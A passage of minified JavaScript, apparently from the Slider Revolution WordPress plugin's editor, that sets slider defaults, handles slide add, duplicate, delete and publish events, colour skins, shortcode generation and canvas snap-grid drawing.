0===t.carousel.ease?"power3.inOut":t.carousel.ease,t.carousel.speed=void 0===t.carousel.speed?"800":t.carousel.speed,void 0!==t.general.firstSlide&&(t.general.firstSlide.alternativeFirstSlideSet=void 0===t.general.firstSlide.alternativeFirstSlideSet?"":t.general.firstSlide.alternativeFirstSlideSet),t.nav.preview&&(t.nav.preview.width=void 0===t.nav.preview.width?50:t.nav.preview.width),t.nav.preview&&(t.nav.preview.height=void 0===t.nav.preview.height?100:t.nav.preview.height),t.nav.mouse&&(t.nav.mouse.reverse=void 0===t.nav.mouse.reverse?"default":t.nav.mouse.reverse),t.nav.arrows.left&&(t.nav.arrows.left.align=void 0===t.nav.arrows.left.align?"slider":t.nav.arrows.left.align),t.nav.arrows.right&&(t.nav.arrows.right.align=void 0===t.nav.arrows.right.align?"slider":t.nav.arrows.right.align),t.nav.bullets&&(t.nav.bullets.align=void 0===t.nav.bullets.align?"slider":t.nav.bullets.align),t.parallax.ddd.zCorrection=void 0===t.parallax.ddd.zCorrection?65:t.parallax.ddd.zCorrection,t.parallax.mouse.bgSpeed=void 0===t.parallax.mouse.bgSpeed?0:t.parallax.mouse.bgSpeed,t.parallax.mouse.layersSpeed=void 0===t.parallax.mouse.layersSpeed?1e3:t.parallax.mouse.layersSpeed,t.scrolleffects.bg=void 0!==t.scrolleffects.bg&&t.scrolleffects.bg,t.scrolleffects.direction=void 0===t.scrolleffects.direction?"both":t.scrolleffects.direction,t.scrolleffects.maxBlur=void 0===t.scrolleffects.maxBlur?10:t.scrolleffects.maxBlur,t.scrolleffects.multiplicator=void 0===t.scrolleffects.multiplicator?"1.3":t.scrolleffects.multiplicator,t.scrolleffects.multiplicatorLayers=void 0===t.scrolleffects.multiplicatorLayers?"1.3":t.scrolleffects.multiplicatorLayers,t.scrolleffects.tilt=void 0===t.scrolleffects.tilt?"":t.scrolleffects.tilt,t}function z(e,t){return null==e?t:e}RVS.S.rulerOffset={x:0,y:0},RVS.F.setSlider=function(e){return e=void 0===e||0==e.length?{}:e,"undefined"!=typeof _rmig_&&(e=_rmig_.migrateSlider(e)),jQuery.extend(!0,M({}),M(e))},RVS.F.initSliderBuilder=function(){for(var S in RVS.C.rb=jQuery("#rev_builder"),RVS.C.tRC=document.getElementById("the_right_toolbar"),RVS.C.UL=_ul=jQuery("#rev_slider_ul"),e=jQuery("#layer_grid"),t=jQuery("#rev_slider_inbuild"),i=jQuery("#ruler_top_offset"),a=jQuery("#ruler_left_offset"),r=jQuery("#ruler_hor_marker"),s=jQuery("#ruler_ver_marker"),o=jQuery("#rev_builder_inner"),RVS.F.updateEasyInputs({container:jQuery("#rs-layout-type"),trigger:"init"}),function(){if(RVS.ENV.skinColors=void 0===RVS.ENV.skinColors?jQuery("#module_color_skins"):RVS.ENV.skinColors,RVS.ENV.skinFonts=void 0===RVS.ENV.skinFonts?jQuery("#module_font_skins"):RVS.ENV.skinFonts,void 0!==RVS.SLIDER.settings.skins)for(var e in void 0===RVS.SLIDER.settings.skins.colors&&(RVS.SLIDER.settings.skins.cid=2,RVS.SLIDER.settings.skins.colors={0:{alias:"Highlight",v:"#ff0000"},1:{alias:"Headline Text",v:"#ffffff"},2:{alias:"Content Text",v:"#00ffff"}}),RVS.SLIDER.settings.skins.colors)if(RVS.SLIDER.settings.skins.colors.hasOwnProperty(e)){var t=RVS.SLIDER.settings.skins.colors[e];f(t,e)}}(),jQuery("#screenselector").on("change",function(e){RVS.screen=this.value,RVS.S.nextscreen="d"===RVS.screen?"none":"n"===RVS.screen?"d":"t"===RVS.screen?"n":"m"==RVS.screen?"t":"none",RVS.S.prevscreen="d"===RVS.screen?"n":"n"===RVS.screen?"t":"t"===RVS.screen?"m":"none",jQuery(".screen_selector.selected").removeClass("selected"),jQuery(".screen_selector.ss_"+RVS.screen).addClass("selected"),D(!1),RVS.DOC.trigger("sliderSizeChanged"),RVS.F.setRulers()}),RVS.DOC.on("click","#newslide, #add_blank_slide",function(){return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"addnewslide",step:"Add New Slide",icon:"fiber_new",slideObj:{slide:RVS.F.addSlideObj(),layers:{}},slideObjOld:{},beforeSelected:RVS.S.slideId,after:function(){RVS.DOC.trigger("changeToSlideMode")}}),!1}),RVS.DOC.on("addBulkSlides",function(e,t){return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"addnewslide",step:"Add New Slide",icon:"fiber_new",slideObj:{slide:RVS.F.addSlideObj(),layers:{}},slideObjOld:{},beforeSelected:RVS.S.slideId,urls:t.urlImage,endOfMain:function(){RVS.DOC.trigger("changeToSlideMode"),setTimeout(function(){RVS.DOC.trigger("saveslider",{force:!0})},500)}}),!1}),RVS.DOC.on("click","#add_template_slide",function(){RVS.F.openObjectLibrary({types:["moduletemplates","modules"],filter:"all",selected:["moduletemplates"],context:"editor",success:{slide:"addSlideFromTemplate"}})}),RVS.DOC.on("click","#add_module_slide",function(){RVS.F.openObjectLibrary({types:["modules","moduletemplates"],filter:"all",selected:["modules"],context:"editor",success:{slide:"addSlideFromTemplate"}})}),RVS.DOC.on("addSlideFromTemplate",function(e,t){RVS.F.ajaxRequest("install_template_slide",{slider_id:RVS.ENV.sliderID,slide_id:t},function(e){if(e.success){for(var t in e.slides)if(e.slides.hasOwnProperty(t)){var i={slide:RVS.F.addSlideObj(RVS.F.expandSlide(e.slides[t].params)),layers:{},id:e.slides[t].id};for(var a in e.slides[t].layers)if(e.slides[t].layers.hasOwnProperty(a)){var r=e.slides[t].layers[a],s=RVS.F.addLayerObj(jQuery.extend(!0,RVS.F.addLayerObj(r.type,void 0,!0),r));s&&(i.layers[s.uid]=s)}RVS.SLIDER[e.slides[t].id]=i,RVS.SLIDER.slideIDs.push(e.slides[t].id),RVS.F.addToSlideList({id:e.slides[t].id})}RVS.F.mainMode({mode:"slidelayout",set:!0,slide:e.slides[0].id})}})}),RVS.DOC.on("updatepublishicons",function(e,t){void 0!==t&&void 0!==t.val&&(document.getElementById("publish_toggle_icon_"+RVS.S.slideId).className=t.val+"slide")}),RVS.DOC.on("click",".publishedslide, .unpublishedslide",function(){var e=jQuery(this).closest("li").data("ref");return RVS.SLIDER[e].slide.publish.state="published"===RVS.SLIDER[e].slide.publish.state?"unpublished":"published",this.className=RVS.SLIDER[e].slide.publish.state+"slide",RVS.F.updateEasyInputs({container:jQuery("#form_slidegeneral_progstate"),path:e+".slide.",trigger:"init"}),RVS.F.slideinWork(e),!1}),RVS.DOC.on("deletesingleslide",function(){RVS.F.addRemoveSlideWithBackup({id:"deleteslide",step:"Remove Slide",icon:"remove",slideObjOld:jQuery.extend(!0,{},RVS.SLIDER[window.delete_slide_id]),slideId:window.delete_slide_id,slideObj:{},beforeSelected:RVS.S.slideId})}),RVS.DOC.on("click",".deleteslide, #do_delete_slide",function(){return window.delete_slide_id="do_delete_slide"===this.id?RVS.S.slideId:jQuery(this).closest("li").data("ref"),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslide,maintext:RVS_LANG.deletingslide,subtext:RVS_LANG.deleteselectedslide+" <strong>"+RVS.SLIDER[window.delete_slide_id].slide.title+"</strong> ?",do:{icon:"delete",text:RVS_LANG.yesdeleteslide,event:"deletesingleslide"},cancel:{icon:"cancel",text:RVS_LANG.cancel}}),!1}),RVS.DOC.on("click",".duplicateslide, #do_duplicate_slide",function(){var e="do_duplicate_slide"===this.id?RVS.S.slideId:jQuery(this).closest("li").data("ref");return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"duplicateslide",step:"Duplicate Existing Slide",icon:"content_copy",slideObj:jQuery.extend(!0,{},RVS.SLIDER[e]),fromSlideId:e,slideObjOld:{},beforeSelected:RVS.S.slideId}),!1}),RVS.DOC.on("click",".addchildslide, #do_addchild_slide",function(){var e="do_addchild_slide"===this.id?RVS.S.slideId:jQuery(this).closest("li").data("ref");return RVS.F.addRemoveSlideWithBackupAfterSlideId({id:"duplicateslide",parentId:e,step:"Duplicate Existing Slide",icon:"content_copy",slideObj:jQuery.extend(!0,{},RVS.SLIDER[e]),fromSlideId:e,slideObjOld:{},beforeSelected:RVS.S.slideId}),!1}),function(){RVS.DOC.on("carouselverticaldouble",function(e,t){if(void 0!==t){var i=document.getElementById(t);if(null==i||null==i)return;RVS.F.openBackupGroup({id:"carouselverticalalign",txt:"Carousel Vertial Align",icon:"ui_y"}),RVS.F.updateSliderObj({path:"settings.carousel.vertical",val:i.value}),RVS.F.closeBackupGroup({id:"carouselverticalalign"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_caroussel"),trigger:"init",visualUpdate:!0})}}),RVS.DOC.on("click","#add_skin_color",function(){void 0!==RVS.SLIDER.settings.skins&&(RVS.SLIDER.settings.skins.colors.length>10||(RVS.SLIDER.settings.skins.cid++,RVS.SLIDER.settings.skins.colors[RVS.SLIDER.settings.skins.cid]={alias:"Color Alias",v:"#ffffff"},f(RVS.SLIDER.settings.skins.colors[RVS.SLIDER.settings.skins.cid],RVS.SLIDER.settings.skins.cid),RVS.F.updateEasyInputs({container:RVS.ENV.skinColors,trigger:"init",visualUpdate:!0})))});var e=!1;RVS.DOC.on("click",".save_and_goto_button",function(){e=this.dataset.goto,RVS.DOC.trigger("saveslider")}),RVS.DOC.on("slidersaved",function(){!1!==e&&(window.location.href=e)}),RVS.DOC.on("deleteSkinColor",function(e,t){void 0!==t&&(RVS.S.skinColorToDelete=t,void 0!==RVS.SLIDER.settings.skins.colors[t].ref&&RVS.SLIDER.settings.skins.colors[t].ref.length>0?RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteskin,maintext:RVS_LANG.areyousuredeleteskin,subtext:RVS_LANG.colrskinhas+" "+RVS.SLIDER.settings.skins.colors[t].ref.length+" "+RVS_LANG.references+". "+RVS_LANG.colorwillkept,do:{icon:"check_circle",text:RVS_LANG.deleteskin,event:"forcedeleteskincolor"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}):RVS.DOC.trigger("forcedeleteskincolor"))}),RVS.DOC.on("forcedeleteskincolor",function(){delete RVS.SLIDER.settings.skins.colors[RVS.S.skinColorToDelete],jQuery("#globalskin_colorrule_"+RVS.S.skinColorToDelete).remove()}),RVS.DOC.on("updateSnapVisual",function(){RVS.F.snapVisual()}),RVS.DOC.on("showhidescrollonssm",function(e,t){jQuery(".sr_sbased_tab").hide(),jQuery("#sr_sbased_"+t).show(),RVS.F.checkForFixedScroll()}),RVS.DOC.on("updateAutoRotate",function(e,t){if(void 0===t||void 0===t.val)RVS.SLIDER.settings.general.slideshow.slideShow||jQuery("#generalslideshow").hide();else{RVS.F.openBackupGroup({id:"autorotate",txt:"Auto Slideshow",icon:"play_circle_outline"});var i="settings.general.slideshow.";t.val?RVS.F.updateSliderObj({path:i+"stopSlider",val:!1}):(RVS.F.updateSliderObj({path:i+"stopSlider",val:!0}),RVS.F.updateSliderObj({path:i+"stopAfterLoops",val:0}),RVS.F.updateSliderObj({path:i+"stopAtSlide",val:1})),RVS.F.closeBackupGroup({id:"autorotate"}),RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_slideshow"),trigger:"init",visualUpdate:!0})}}),RVS.DOC.on("screenSelectorChanged",function(){RVS.F.updateEasyInputs({container:jQuery("#form_slidergeneral_general_viewport"),init:"true"})}),RVS.DOC.on("checkOnScrollSettings",function(){void 0!==RVS.TL&&void 0!==RVS.TL.TL&&(RVS.SLIDER.settings.scrolltimeline.set&&RVS.SLIDER.settings.scrolltimeline.fixed&&"auto"!==RVS.SLIDER.settings.layouttype?RVS.TL.TL.addClass("fixedscrollon"):RVS.TL.TL.removeClass("fixedscrollon"),RVS.DOC.trigger("checkLayerLoopswithOnScroll"))}),RVS.DOC.on("checkLayerLoopswithOnScroll",function(){clearTimeout(RVS.S.checkLayerLoopswithOnScroll),RVS.S.checkLayerLoopswithOnScroll=setTimeout(function(){if(!0===RVS.SLIDER.settings.scrolltimeline.set){var e=!1;for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].timeline&&void 0!==RVS.L[t].timeline.scrollBased&&("true"==RVS.L[t].timeline.scrollBased||"default"==RVS.L[t].timeline.scrollBased&&!0===RVS.SLIDER.settings.scrolltimeline.layers)&&(RVS.L[t].timeline.loop.use=!1,e=!0);e&&(RVS.F.updateEasyInputs({container:jQuery("#layer_looping_wrap"),trigger:"init",visualUpdate:!0}),RVS.F.showInfo({content:RVS_LANG.layerloopdisabledduetimeline,type:"goodtoknow",showdelay:0,hidedelay:2,hideon:"",event:""}))}},200)}),RVS.DOC.on("click",".insertineditor",function(){return RVS.F.insertTextAtCursor(window.rs_jscss_editor,"\n"+jQuery(this.dataset.insertfrom).val().replace("revapi.","revapi"+RVS.ENV.sliderID+".")+"\n"),!1}),RVS.DOC.on("click",".js_css_editor_tabs",function(){jQuery(".js_css_editor_tabs").removeClass("selected"),jQuery(this).addClass("selected"),RVS.SLIDER.settings.codes[window.rs_jscss_editor.getMode().name]=window.rs_jscss_editor.getValue(),window.rs_jscss_editor.setValue(RVS.SLIDER.settings.codes[this.dataset.mode]),window.rs_jscss_editor.setOption("mode",this.dataset.mode)}),RVS.DOC.on("click","#emc_toggle, #form_slidergeneral_advanced_api",function(){jQuery(".emc_toggle_wrap").toggleClass("open")}),RVS.DOC.on("openColorSkinApi",RVS.F.openColorSkinApi),RVS.DOC.on("click","#rbm_colorskins .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("openSliderApi",RVS.F.openSliderApi),RVS.DOC.on("click","#rbm_slider_api .rbm_close",function(){RVS.SLIDER.settings.codes[window.rs_jscss_editor.getMode().name]=window.rs_jscss_editor.getValue(),RVS.F.RSDialog.close()}),RVS.DOC.on("device_area_dimension_update",function(){D(!0,!0),RVS.DOC.trigger("updateAllInheritedSize"),RVS.F.redrawSlideBG(),RVS.F.expandCollapseTimeLine(!0,"open")}),RVS.DOC.on("updatePerspective",function(){jQuery("#global_layers_perspectives").val(RVS.SLIDER.settings.general.perspective),RVS.F.allLayersReDraw()}),RVS.DOC.on("updatesliderlayout_main",function(e,t){RVS.DOC.trigger("checkOnScrollSettings"),RVS.DOC.trigger("updatesliderlayout",[e,t])}),RVS.DOC.on("updatesliderlayout",function(e,t){RVS.F.updatesliderlayout(t)}),RVS.F.updatesliderlayout=function(e){(void 0===RVS.S.calledUpdateSliderLayout||!RVS.S.drawingHTMLLayers&&RVS.S.drawHTMLLayersCalled)&&(clearTimeout(window.updateSliderLayoutTimer),n=RVS.S.lgh,RVS.S.calledUpdateSliderLayout=RVS.S.calledUpdateSliderLayout||0,RVS.S.calledUpdateSliderLayout++,window.updateSliderLayoutTimer=setTimeout(function(){D(!1),RVS.F.redrawSlideBG(),"slidertype"===e&&O(),(n!==RVS.S.lgh||RVS.ENV.globVerOffset!==RVS.S.cacheglobVerOffset||RVS.ENV.firstLayoutAfterSlideload)&&(RVS.ENV.firstLayoutAfterSlideload=!1,RVS.F.updateAllHTMLLayerPositions(),RVS.S.cacheglobVerOffset=RVS.ENV.globVerOffset),"wait"==RVS.S.ReadyToShowAll&&(RVS.C.UL[0].style.opacity=1,RVS.S.ReadyToShowAll="done",RVS.F.expandCollapseTimeLine(!0,"open",void 0,!0))},100))},RVS.DOC.on("updatesliderlayoutall",function(e,t){RVS.F.updatesliderlayout(t),RVS.DOC.trigger("device_area_dimension_update")}),RVS.DOC.on("device_area_availibity",function(){D(!0),RVS.F.updateAvailableDevices(),RVS.F.updateDeviceOnOffBtns()}),RVS.DOC.on("check_custom_size",function(e,t){var i;i=t.eventparam,RVS.SLIDER.settings.size.custom[i]=!0,jQuery("#sr_custom_"+i).prop("checked",RVS.SLIDER.settings.size.custom[i]),RVS.F.turnOnOffVisUpdate({input:document.getElementById("sr_custom_"+i)})}),RVS.F.staticsDoubleUpdate=function(e){!0!==RVS.S.resetLastShownAndStatic&&RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&RVS.SLIDER[RVS.S.slideId].slide.static.lastEdited&&void 0!==RVS.S.lastShownSlideId&&(RVS.S.resetLastShownAndStatic=!0,RVS.S.slideIdCache=RVS.S.slideId,RVS.S.slideId=RVS.S.lastShownSlideId),e.call(),RVS.S.resetLastShownAndStatic&&(clearTimeout(window.resetLastShownTimer),window.resetLastShownTimer=setTimeout(function(){RVS.S.resetLastShownAndStatic=!1,RVS.S.lastShownSlideId=RVS.S.slideId,RVS.S.slideId=RVS.S.slideIdCache,e.call()},200))},RVS.DOC.on("windowresized",function(){RVS.F.staticsDoubleUpdate(RVS.F.sliderUpdateAfterResize)}),RVS.F.sliderUpdateAfterResize=function(){V.width=o.width(),R.width=t.width(),D(!1),RVS.F.setRulers(),RVS.F.updateContentDeltas(),h("update")},RVS.DOC.on("updateShortCode",function(){RVS.SLIDER.settings.alias=RVS.F.sanitize_input(RVS.SLIDER.settings.alias),RVS.SLIDER.settings.shortcode='[rev_slider alias="'+RVS.SLIDER.settings.alias+'"][/rev_slider]',RVS.SLIDER.settings.modalshortcode='[rev_slider usage="modal" alias="'+RVS.SLIDER.settings.alias+'"][/rev_slider]',RVS.F.updateEasyInputs({container:jQuery("#form_module_title"),init:"true"}),RVS.F.updateEasyInputs({container:jQuery("#form_slider_as_modal"),init:"true"})}),RVS.DOC.on("sliderBGUpdate",C),RVS.DOC.on("drawBGOverlay",k),RVS.DOC.on("sliderProgressUpdate",O),RVS.DOC.on("coloredit colorcancel",P),RVS.DOC.on("updateParallaxLevelTexts",RVS.F.updateParallaxLevelTexts),RVS.DOC.on("updateParallaxdddBG",RVS.F.updateParallaxdddBG),RVS.DOC.on("updateSourcePostCategories",function(){RVS.F.updatePostCategories({postTypes:RVS.SLIDER.settings.source.post.types,categories:jQuery("#post_category")})}),RVS.DOC.on("updateSourceWooCategories",function(){RVS.F.updatePostCategories({postTypes:RVS.SLIDER.settings.source.woo.types,categories:jQuery("#woo_category")})}),RVS.DOC.on("flickrsourcechange",w),RVS.DOC.on("facebooksourcechange",b),RVS.DOC.on("youtubesourcechange",I),RVS.DOC.on("loadStreamDependencies",v),RVS.DOC.on("revertEasyInputs.source",function(e,t){RVS.F.updateEasyInputs({container:t,trigger:"init",path:"settings."});var i=RVS.SLIDER.settings.source.flickr.apiKey!==RVS.F.revert.settings.source.flickr.apiKey||RVS.SLIDER.settings.source.flickr.userURL!==RVS.F.revert.settings.source.flickr.userURL||RVS.SLIDER.settings.source.flickr.apiKey!==RVS.F.revert.settings.source.flickr.apiKey,a=RVS.SLIDER.settings.source.facebook.appId!==RVS.F.revert.settings.source.facebook.appId||RVS.SLIDER.settings.source.facebook.typeSource!==RVS.F.revert.settings.source.facebook.typeSource||RVS.SLIDER.settings.source.facebook.album!==RVS.F.revert.settings.source.facebook.album,r=RVS.SLIDER.settings.source.youtube.api!==RVS.F.revert.settings.source.youtube.api||RVS.SLIDER.settings.source.youtube.channelId!==RVS.F.revert.settings.source.youtube.channelId;(i||a||r)&&(u=!0)}),RVS.DOC.on("moduleSpinnerChange",function(){var e=RVS.SLIDER.settings.layout.spinner.type;jQuery("rs-loader").attr("class","spinner"+e).html(_()),(isNaN(e)||parseInt(e,10)<6)&&L()}),RVS.DOC.on("scrollUpdates",function(){h("update")})}(),RVS.F.buildRuler(),RVS.F.sliderUpdateAllFields(),RVS.DOC.trigger("updateShortCode"),h(),l=document.getElementById("show_c_height"),void 0!==(d=document.getElementById("show_c_width"))&&(d.innerHTML=Math.round(RVS.F.GW(RVS.screen))+"px"),v(),RVS.F.checkSliderSource(),RVS.V.sizesold)document.getElementById("global_size_"+RVS.V.sizesold[S]).innerHTML=0==S?"> "+RVS.ENV.glb_slizes[RVS.V.sizes[1]]:3==S?"< "+RVS.ENV.glb_slizes[RVS.V.sizes[S]]:parseInt(RVS.ENV.glb_slizes[RVS.V.sizes[S]],0)-1+" - "+RVS.ENV.glb_slizes[RVS.V.sizes[parseInt(S,0)+1]]},RVS.F.clearSnapVisual=function(){RVS.C.gcanvas=void 0===RVS.C.gcanvas?document.getElementById("gridcanvas"):RVS.C.gcanvas,RVS.C.gCTX=void 0===RVS.C.gCTX?RVS.C.gcanvas.getContext("2d"):RVS.C.gCTX,RVS.C.gcanvas.width=RVS.S.ulDIM.width,RVS.C.gcanvas.height=RVS.S.ulDIM.height,RVS.C.gCTX.clearRect(0,0,RVS.S.ulDIM.width,RVS.S.ulDIM.height)},RVS.F.getSnapPoint=function(e,t){return{x:RVS.SLIDER.settings.snap.gap*Math.round(e/RVS.SLIDER.settings.snap.gap),y:RVS.SLIDER.settings.snap.gap*Math.round(t/RVS.SLIDER.settings.snap.gap)}},RVS.F.snapVisual=function(e){(e=void 0===e?{}:e).ah=void 0===e.ah?void 0!==RVS.selLayers[0]?RVS.L[RVS.selLayers[0]].position.horizontal[RVS.screen].v:"left":e.ah,e.av=void 0===e.av?void 0!==RVS.selLayers[0]?RVS.L[RVS.selLayers[0]].position.vertical[RVS.screen].v:"top":e.av;var t=RVS.S.rulerOffset.x,i=RVS.S.rulerOffset.y/RVS.zoom;if(RVS.F.clearSnapVisual(),RVS.SLIDER.settings.snap.gap=parseInt(RVS.SLIDER.settings.snap.gap,0),RVS.SLIDER.settings.snap.gap=0===RVS.SLIDER.settings.snap.gap?1:RVS.SLIDER.settings.snap.gap,"grid"===RVS.SLIDER.settings.snap.adjust&&RVS.SLIDER.settings.snap.gap>4){RVS.GSNAP={X:"left"===e.ah?t:"right"===e.ah?t+RVS.S.lgw:t+RVS.S.lgw/2,Y:"top"===e.av?i:"bottom"===e.av?i+RVS.S.lgh:i+RVS.S.lgh/2},RVS.GSNAP.XO=RVS.SLIDER.settings.snap.gap*Math.ceil(RVS.GSNAP.X/RVS.SLIDER.settings.snap.gap),RVS.GSNAP.YO=RVS.SLIDER.settings.snap.gap*Math.ceil(RVS.GSNAP.Y/RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.beginPath();for(var a=RVS.GSNAP.X-RVS.GSNAP.XO;a<RVS.S.ulDIM.width;a+=RVS.SLIDER.settings.snap.gap)RVS.C.gCTX.moveTo(a,0),RVS.C.gCTX.lineTo(a,RVS.S.ulDIM.height);for(var r=RVS.GSNAP.Y-RVS.GSNAP.YO;r<RVS.S.ulDIM.height;r+=RVS.SLIDER.settings.snap.gap)RVS.C.gCTX.moveTo(0,r),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,r);if(RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 0.25)",RVS.C.gCTX.stroke(),void 0!==e.sp){RVS.C.gCTX.beginPath(),e.sp.x=RVS.GSNAP.X+("left"===e.ah?e.sp.x:"right"===e.ah?0-e.sp.x-RVS.SLIDER.settings.snap.gap:e.sp.x-RVS.SLIDER.settings.snap.gap/2),e.sp.y=RVS.GSNAP.Y+("top"===e.av?e.sp.y:"bottom"===e.av?0-e.sp.y-RVS.SLIDER.settings.snap.gap:e.sp.y-RVS.SLIDER.settings.snap.gap/2);let t=e.sp.y+("top"!==e.av?RVS.SLIDER.settings.snap.gap/("middle"===e.av?2:1):0),i=e.sp.x+("left"!==e.ah?RVS.SLIDER.settings.snap.gap/("center"===e.ah?2:1):0);RVS.C.gCTX.moveTo(e.sp.x,t),RVS.C.gCTX.lineTo(e.sp.x+RVS.SLIDER.settings.snap.gap,t),RVS.C.gCTX.moveTo(i,e.sp.y),RVS.C.gCTX.lineTo(i,e.sp.y+RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.lineWidth=2,RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 1)",RVS.C.gCTX.stroke()}}else if("layers"===RVS.SLIDER.settings.snap.adjust){RVS.C.gCTX.beginPath();var s={};for(var o in RVS.S.DaD.snapH){if(!RVS.S.DaD.snapH.hasOwnProperty(o))continue;let e=RVS.S.DaD.snapH[o];void 0===s[e.x]&&(RVS.C.gCTX.moveTo(e.x+t,0),RVS.C.gCTX.lineTo(e.x+t,RVS.S.ulDIM.height),s[e.x]=!0),void 0===s[e.xc]&&(RVS.C.gCTX.moveTo(e.xc+t,0),RVS.C.gCTX.lineTo(e.xc+t,RVS.S.ulDIM.height),s[e.xc]=!0),void 0===s[e.xr]&&(RVS.C.gCTX.moveTo(e.xr+t,0),RVS.C.gCTX.lineTo(e.xr+t,RVS.S.ulDIM.height),s[e.xr]=!0),RVS.SLIDER.settings.snap.gap>5&&(void 0===s[e.x-RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(e.x-RVS.SLIDER.settings.snap.gap+t,0),RVS.C.gCTX.lineTo(e.x-RVS.SLIDER.settings.snap.gap+t,RVS.S.ulDIM.height),s[e.x-RVS.SLIDER.settings.snap.gap]=!0),void 0===s[e.xr+RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(e.xr+RVS.SLIDER.settings.snap.gap+t,0),RVS.C.gCTX.lineTo(e.xr+RVS.SLIDER.settings.snap.gap+t,RVS.S.ulDIM.height),s[e.xr+RVS.SLIDER.settings.snap.gap]=!0))}for(var o in s={},RVS.S.DaD.snapV){if(!RVS.S.DaD.snapV.hasOwnProperty(o))continue;let e=RVS.S.DaD.snapV[o];void 0===s[e.y]&&(RVS.C.gCTX.moveTo(0,e.y+i),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.y+i),s[e.y]=!0),void 0===s[e.ym]&&(RVS.C.gCTX.moveTo(0,e.ym+i),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.ym+i),s[e.ym]=!0),void 0===s[e.yb]&&(RVS.C.gCTX.moveTo(0,e.yb+i),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.yb+i),s[e.yb]=!0),RVS.SLIDER.settings.snap.gap>5&&(void 0===s[e.y-RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(0,e.y+i-RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.y+i-RVS.SLIDER.settings.snap.gap),s[e.y-RVS.SLIDER.settings.snap.gap]=!0),void 0===s[e.yb+RVS.SLIDER.settings.snap.gap]&&(RVS.C.gCTX.moveTo(0,e.yb+i+RVS.SLIDER.settings.snap.gap),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.yb+i+RVS.SLIDER.settings.snap.gap),s[e.yb+RVS.SLIDER.settings.snap.gap]=!0))}if(RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 0.25)",RVS.C.gCTX.stroke(),RVS.C.gCTX.beginPath(),void 0!==RVS.S.DaD.snapHF&&-1!==RVS.S.DaD.snapHF.uid){let e=RVS.S.DaD.snapH[RVS.S.DaD.snapHF.uid];RVS.C.gCTX.moveTo(e.x+t+RVS.S.DaD.snapHF.offset,0),RVS.C.gCTX.lineTo(e.x+t+RVS.S.DaD.snapHF.offset,RVS.S.ulDIM.height),RVS.C.gCTX.lineWidth=2,RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 1)",RVS.C.gCTX.stroke()}if(void 0!==RVS.S.DaD.snapVF&&-1!==RVS.S.DaD.snapVF.uid){let e=RVS.S.DaD.snapV[RVS.S.DaD.snapVF.uid];RVS.C.gCTX.moveTo(0,e.y+i+RVS.S.DaD.snapVF.offset),RVS.C.gCTX.lineTo(RVS.S.ulDIM.width,e.y+RVS.S.rulerOffset.y+RVS.S.DaD.snapVF.offset),RVS.C.gCTX.lineWidth=2,RVS.C.gCTX.strokeStyle="rgba(250, 63, 142, 1)",RVS.C.gCTX.stroke()}}},RVS.F.updateAvailableDevices=function(){for(var e=!1,t=1;t<4;t++)RVS.SLIDER.settings.size.custom[RVS.V.sizes[t]]?jQuery("#screen_selecotr_ss_"+RVS.V.sizes[t]).removeClass("ssnotavailable"):(jQuery("#screen_selecotr_ss_"+RVS.V.sizes[t]).addClass("ssnotavailable"),RVS.screen==RVS.V.sizes[t]&&(e=!0));e&&jQuery("#screen_selecotr_ss_d").trigger("click"),RVS.DOC.trigger("updateAllInheritedSize")},RVS.F.checkForFixedScroll=function(){"slider"===RVS.eMode.top&&"#form_module_scroll"==RVS.eMode.menu&&jQuery("#timeline_slider_tab").hasClass("selected")?(RVS.TL.TL.addClass("fixedscrolledit"),RVS.TL.FixedScrollEdit=!0):RVS.TL.FixedScrollEdit&&(RVS.TL.TL.removeClass("fixedscrolledit"),RVS.TL.FixedScrollEdit=!1)},RVS.F.updateDeviceOnOffBtns=function(e){for(var t in RVS.V.sizes)if("d"!==RVS.V.sizes[t]){var i=document.getElementById("sr_custom_"+RVS.V.sizes[t]),a=document.getElementById("sr_custom_"+RVS.V.sizes[t]+"_opt");i.checked=RVS.SLIDER.settings.size.custom[RVS.V.sizes[t]],a.checked=RVS.SLIDER.settings.size.custom[RVS.V.sizes[t]],e||(RVS.F.turnOnOffVisUpdate({input:i}),RVS.F.turnOnOffVisUpdate({input:a}))}},RVS.F.updateSliderInputFields=function(){!0!==RVS.S.sliderInputFieldsInitialised&&!0!==RVS.S.sliderInputFieldsInitialisedWarning&&(RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.updatingfields}),RVS.S.sliderInputFieldsInitialisedWarning=!0,RVS.S.sliderInputFieldsInitialised=!0),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery(".sliderconfig_forms"),trigger:"init"}),RVS.F.updateEasyInputs({container:jQuery("#screen_selector_top_list"),path:"settings."}),RVS.F.updateEasyInputs({container:jQuery("#rbm_colorskins"),path:"settings."}),!0===RVS.S.sliderInputFieldsInitialisedWarning&&(RVS.F.showWaitAMinute({fadeOut:2,text:RVS_LANG.updatingfields}),RVS.S.sliderInputFieldsInitialisedWarning=!1),requestAnimationFrame(function(){x()})},5)},RVS.F.upd